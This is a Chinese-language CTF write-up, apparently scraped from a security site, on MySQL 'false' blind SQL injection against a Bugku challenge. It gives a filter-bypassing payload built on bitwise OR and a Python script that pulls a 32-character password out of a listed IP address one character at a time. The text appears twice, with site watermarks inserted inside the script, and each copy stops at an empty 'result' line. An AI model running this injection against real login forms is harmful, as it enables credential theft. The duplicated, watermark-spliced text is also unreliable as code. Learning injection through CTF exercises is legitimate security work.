实例讲解False盲注基础原理
0×01 前言
false盲注有些时候可以绕过一些WAF,也是容易被忽视的细节。本文的目的在于通过做CTF的同时来学习注入原理,同时也运用到自身的能力。这里只是简单说一些我自己的理解,也许网上有更好的思路和见解,都是值得学习的。
0×02 false注入原理
MYSQL的隐式类型转换,当字符串和数字比较时,会把字符串转为浮点数,而字符串转换时会产生一个warning,转换的结果为0,但如果字符串开头是数字话还是会从数字部分截断,转换为数字
0×03 实例
举例地址为:
http://118.89.219.210:49167/index.php(Bugku)
填入username和password之后,Burp抓包,send to repeater分析一下
发现过滤了挺多的,空格,%0a,/**/,and,union等等
但是 |(位或)&(位与)^(位异或)没有过滤掉
这里的话应该来说都可以用,我试了一下|(位或)和 ^(位异或),这两个都是可以的
构造一个payload语句为:
username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd
函数介绍:
MID(column_name,start[,length]) 因为过滤掉空格的原因,才用上述格式
ASCII() 返回字符表达式最左端字符的ASCII 码值
当第一字母的ascii码值为53的时候,右边的表示式则为false,与‘admin’ 或, 相当与 0 | 0 结果为0,当username=0时,返回查询字段的所有数据,(只要username没有以数字开头的)这里注意 按位或的优先级高于=,所以是先按位或再赋值给username。
当然了,想构造为0的话不止只有位运算符,还有+号(‘ ’+‘ ’=0), -号(‘ ‘-’ ‘=0), *号(‘ ‘*’ ‘=0), /号(‘ ‘/1=0), %取余(‘ ‘%1=0)等等
可以先判断一下字段长度:
根据页面信息判断为32位
原理都讲得差不多了
可以自己手注,但似乎太麻烦了
下面可以写一个Python脚本跑出来
import requests
url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result=''
for i in range(1,33):
for j in range(37,127):
payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
data={"username":payload,"password":"psdvs"}
print payload
html=r.post(url,data=data)
if "password error" in html.content:
result+=chr(j)
print result
break
print result
结果为:
0×01 前言
false盲注有些时候可以绕过一些WAF,也是容易被忽视的细节。本文的目的在于通过做CTF的同时来学习注入原理,同时也运用到自身的能力。这里只是简单说一些我自己的理解,也许网上有更好的思路和见解,都是值得学习的。
0×02 false注入原理
MYSQL的隐式类型转换,当字符串和数字比较时,会把字符串转为浮点数,而字符串转换时会产生一个warning,转换的结果为0,但如果字符串开头是数字话还是会从数字部分截断,转换为数字
0×03 实例
举例地址为:
http://118.89.219.210:49167/index.php(Bugku)
填入username和password之后,Burp抓包,send to repeater分析一下
发现过滤了挺多的,空格,%0a,/**/,and,union等等
但是 |(位或)&(位与)^(位异或)没有过滤掉
这里的话应该来说都可以用,我试了一下|(位或)和 ^(位异或),这两个都是可以的
构造一个payload语句为:
username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd
函数介绍:
MID(column_name,start[,length]) 因为过滤掉空格的原因,才用上述格式
ASCII() 返回字符表达式最左端字符的ASCII 码值
当第一字母的ascii码值为53的时候,右边的表示式则为false,与‘admin’ 或, 相当与 0 | 0 结果为0,当username=0时,返回查询字段的所有数据,(只要username没有以数字开头的)这里注意 按位或的优先级高于=,所以是先按位或再赋值给username。
当然了,想构造为0的话不止只有位运算符,还有+号(‘ ’+‘ ’=0), -号(‘ ‘-’ ‘=0), *号(‘ ‘*’ ‘=0), /号(‘ ‘/1=0), %取余(‘ ‘%1=0)等等
无奈人生安全网
可以先判断一下字段长度:
根据页面信息判断为32位
原理都讲得差不多了
可以自己手注,但似乎太麻烦了
下面可以写一个Python脚本跑出来
import requests
url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result=''
for i in range(1,33):
for j in range(37,127):
payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
data={"username":payload,"password":"psdvs"}
print payload
html=r.post(url,data=data)
if "password error" in html.content:
result+=chr(j)
www.wnhack.com
print result
break
print result
结果为:
copyright 无奈人生